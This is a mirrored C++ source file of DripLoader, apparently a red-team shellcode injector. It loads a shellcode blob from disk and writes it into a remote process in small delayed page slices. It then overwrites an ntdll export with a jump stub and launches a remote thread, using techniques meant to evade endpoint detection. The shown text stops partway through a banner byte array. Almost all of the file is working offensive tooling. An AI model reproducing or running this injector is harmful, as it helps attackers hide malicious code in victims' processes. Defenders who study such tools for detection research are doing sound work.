mirror of
https://github.com/xuanxuan0/DripLoader
synced 2026-06-08 18:26:51 +00:00
328 lines
24 KiB
C++
328 lines
24 KiB
C++
#include "DripLoader.h"
|
|
|
|
// ntdll.dll
|
|
char jmpModName[]{ 'n','t','d','l','l','.','d','l','l','\0' };
|
|
// RtlpWow64CtxFromAmd64
|
|
char jmpFuncName[]{ 'R','t','l','p','W','o','w','6','4','C','t','x','F','r','o','m','A','m','d','6','4','\0' };
|
|
// blob.bin
|
|
char fnamScBlob[]{ 'b','l','o','b','.','b','i','n','\0' };
|
|
|
|
LPVOID PrepEntry(HANDLE hProc, LPVOID vm_base)
|
|
{
|
|
unsigned char* b = (unsigned char*)&vm_base;
|
|
|
|
unsigned char jmpSc[7]{
|
|
0xB8, b[0], b[1], b[2], b[3],
|
|
0xFF, 0xE0
|
|
};
|
|
|
|
// find the export EP offset
|
|
HMODULE hJmpMod = LoadLibraryExA(
|
|
jmpModName,
|
|
NULL,
|
|
DONT_RESOLVE_DLL_REFERENCES
|
|
);
|
|
|
|
if (!hJmpMod)
|
|
return nullptr;
|
|
|
|
LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);
|
|
|
|
DWORD offsetJmpFunc = (DWORD)lpDllExport - (DWORD)hJmpMod;
|
|
|
|
LPVOID lpRemFuncEP{ 0 };
|
|
|
|
HMODULE hMods[1024];
|
|
DWORD cbNeeded;
|
|
char szModName[MAX_PATH];
|
|
|
|
if (EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded))
|
|
{
|
|
int i;
|
|
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
|
|
{
|
|
if (GetModuleFileNameExA(hProc, hMods[i], szModName, sizeof(szModName) / sizeof(char)))
|
|
{
|
|
if (strcmp(PathFindFileNameA(szModName), jmpModName)==0) {
|
|
lpRemFuncEP = hMods[i];
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
lpRemFuncEP = (LPVOID)((DWORD_PTR)lpRemFuncEP + offsetJmpFunc);
|
|
|
|
if (NULL == lpRemFuncEP)
|
|
return nullptr;
|
|
|
|
SIZE_T szWritten{ 0 };
|
|
WriteProcessMemory(
|
|
hProc,
|
|
lpDllExport,
|
|
jmpSc,
|
|
sizeof(jmpSc),
|
|
&szWritten
|
|
);
|
|
|
|
return lpDllExport;
|
|
}
|
|
|
|
int run(int tpid, HANDLE hProc, DWORD szPage, DWORD szAllocGran, const char* fnam, int msStepDelay)
|
|
{
|
|
DWORD szSc{ 0 };
|
|
|
|
unsigned char* shellcode = ReadProcessBlob(fnam, &szSc);
|
|
|
|
if (NULL == szSc)
|
|
return 2;
|
|
|
|
SIZE_T szVmResv{ szAllocGran };
|
|
SIZE_T szVmCmm{ szPage };
|
|
DWORD cVmResv = (szSc / szVmResv) + 1;
|
|
DWORD cVmCmm = szVmResv / szVmCmm;
|
|
|
|
LPVOID vmBaseAddress = GetSuitableBaseAddress(
|
|
hProc,
|
|
szVmCmm,
|
|
szVmResv,
|
|
cVmResv
|
|
);
|
|
|
|
DWORD msTimeReq{ (msStepDelay * cVmResv) + (msStepDelay * cVmResv * cVmCmm) + (msStepDelay * 18) };
|
|
|
|
if (nullptr == vmBaseAddress)
|
|
return 3;
|
|
|
|
double di;
|
|
for (di = 0; di < 0.99; di += 0.33) {
|
|
DelayShowProgress(di, 0, msStepDelay * 2, tpid, msTimeReq, (int)vmBaseAddress);
|
|
}
|
|
|
|
NTSTATUS status{ 0 };
|
|
DWORD cmm_i;
|
|
LPVOID currentVmBase{ vmBaseAddress };
|
|
|
|
vector<LPVOID> vcVmResv;
|
|
|
|
// Reserve enough memory
|
|
DWORD i;
|
|
for (i = 1; i <= cVmResv; ++i)
|
|
{
|
|
DelayShowProgress((1.0 / (double)cVmResv) * (double)i, 1, msStepDelay, tpid, msTimeReq, (int)vmBaseAddress);
|
|
|
|
status = ANtAVM(
|
|
hProc,
|
|
¤tVmBase,
|
|
NULL,
|
|
&szVmResv,
|
|
MEM_RESERVE,
|
|
PAGE_NOACCESS
|
|
);
|
|
|
|
if (STATUS_SUCCESS == status)
|
|
vcVmResv.push_back(currentVmBase);
|
|
else
|
|
return 4;
|
|
|
|
currentVmBase = (LPVOID)((DWORD_PTR)currentVmBase + szVmResv);
|
|
}
|
|
|
|
DWORD offsetSc{ 0 };
|
|
DWORD oldProt;
|
|
|
|
// Loop over the pages and commit our sc blob in 4kB slices
|
|
double prcDone{ 0 };
|
|
for (i = 0; i < cVmResv; ++i)
|
|
{
|
|
for (cmm_i = 0; cmm_i < cVmCmm; ++cmm_i)
|
|
{
|
|
prcDone += 1.0 / cVmResv / cVmCmm;
|
|
|
|
DWORD offset = (cmm_i * szVmCmm);
|
|
currentVmBase = (LPVOID)((DWORD_PTR)vcVmResv[i] + offset);
|
|
|
|
status = ANtAVM(
|
|
hProc,
|
|
¤tVmBase,
|
|
NULL,
|
|
&szVmCmm,
|
|
MEM_COMMIT,
|
|
PAGE_READWRITE
|
|
);
|
|
|
|
DelayShowProgress(prcDone, 2, msStepDelay / 2, tpid, msTimeReq, (int)vmBaseAddress);
|
|
|
|
SIZE_T szWritten{ 0 };
|
|
|
|
status = ANtWVM(
|
|
hProc,
|
|
currentVmBase,
|
|
&shellcode[offsetSc],
|
|
szVmCmm,
|
|
&szWritten
|
|
);
|
|
|
|
DelayShowProgress(prcDone, 2, msStepDelay / 2, tpid, msTimeReq, (int)vmBaseAddress);
|
|
|
|
offsetSc += szVmCmm;
|
|
|
|
status = ANtPVM(
|
|
hProc,
|
|
¤tVmBase,
|
|
&szVmCmm,
|
|
PAGE_EXECUTE_READ,
|
|
&oldProt
|
|
);
|
|
}
|
|
}
|
|
|
|
for (di = 0; di < 0.99; di += 0.11) {
|
|
DelayShowProgress(di, 3, msStepDelay * 2, tpid, msTimeReq, (int)vmBaseAddress);
|
|
}
|
|
|
|
LPVOID entry = PrepEntry(hProc, vmBaseAddress);
|
|
|
|
for (di = 0; di < 0.99; di += 0.11) {
|
|
DelayShowProgress(di, 4, msStepDelay * 2, tpid, msTimeReq, (int)vmBaseAddress);
|
|
}
|
|
|
|
HANDLE hThread{ nullptr };
|
|
|
|
ANtCTE(
|
|
&hThread,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
hProc,
|
|
(LPTHREAD_START_ROUTINE)entry,
|
|
NULL,
|
|
NULL,
|
|
0,
|
|
0,
|
|
0,
|
|
nullptr
|
|
);
|
|
|
|
DelayShowProgress(1.0, 5, msStepDelay * 10, tpid, msTimeReq, (int)vmBaseAddress);
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
EnableAnsiSupport();
|
|
|
|
if (8 != sizeof(void*)) {
|
|
// Error: non-64 bit system
|
|
cout << '\n' << '' << '[' << '3' << '1' << 'm' << 'E' << 'r'
|
|
<< 'r' << 'o' << 'r' << ':' << ' ' << 'n' << 'o' << 'n'
|
|
<< '-' << '6' << '4' << ' ' << 'b' << 'i' << 't' << ' '
|
|
<< 's' << 'y' << 's' << 't' << 'e' << 'm' << '' << '['
|
|
<< '0' << 'm' << '\n';
|
|
return -1;
|
|
}
|
|
|
|
int tpid{ 0 };
|
|
int msStepDelay{ 0 };
|
|
|
|
char header[]{ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x2f, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x25, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x28, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5f, 0x5f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5f, 0x5f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x20, 0x5f, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x28, 0x5f, 0x29, 0x5f, 0x5f, 0x20, 0x20, 0x2f, 0x20, 0x2f, 0x20, 0x20, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x5f, 0x5f, 0x5f, 0x20, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x2f, 0x5f, 0x5f, 0x20, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x20, 0x2f, 0x2f, 0x20, 0x2f, 0x20, 0x5f, 0x5f, 0x2f, 0x20, 0x2f, 0x20, 0x5f, 0x20, 0x5c, 0x2f, 0x20, 0x2f, 0x5f, 0x5f, 0x2f, 0x20, 0x5f, 0x20, 0x5c, 0x2f, 0x20, 0x5f, 0x20, 0x60, 0x2f, 0x20, 0x5f, 0x20, 0x20, 0x2f, 0x20, 0x2d, 0x5f, 0x29, 0x20, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x2f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x5f, 0x2f, 0x20, 0x2f, 0x5f, 0x2f, 0x20, 0x2e, 0x5f, 0x5f, 0x2f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x5c, 0x5f, 0x5f, 0x5f, 0x2f, 0x5c, 0x5f, 0x2c, 0x5f, 0x2f, 0x5c, 0x5f, 0x2c, 0x5f, 0x2f, 0x5c, 0x5f, 0x5f, 0x2f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x62, 0x79, 0x20, 0x46, 0x69, 0x6c, 0x69, 0x70, 0x20, 0x4f, 0x6c, 0x73, 0x7a, 0x61, 0x6b, 0x20, 0x20, 0x28, 0x40, 0x5f, 0x6c, 0x70, 0x76, 0x6f, 0x69, 0x64, 0x29, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x46, 0x2d, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x20, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x65, 0x70, 0x74, 0x20, 0x44, 0x52, 0x54, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x4d, 0x5a, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x41, 0x52, 0x55, 0x48, 0x2e, 0x2e, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x48, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x2e, 0x5a, 0x48, 0x2e, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x4c, 0x2e, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6f, 0x67, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x20, 0x62, 0x65, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20, 0x44, 0x4f, 0x53, 0x20, 0x6d, 0x6f, 0x64, 0x1b, 0x5b, 0x30, 0x6d, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x31, 0x6d, 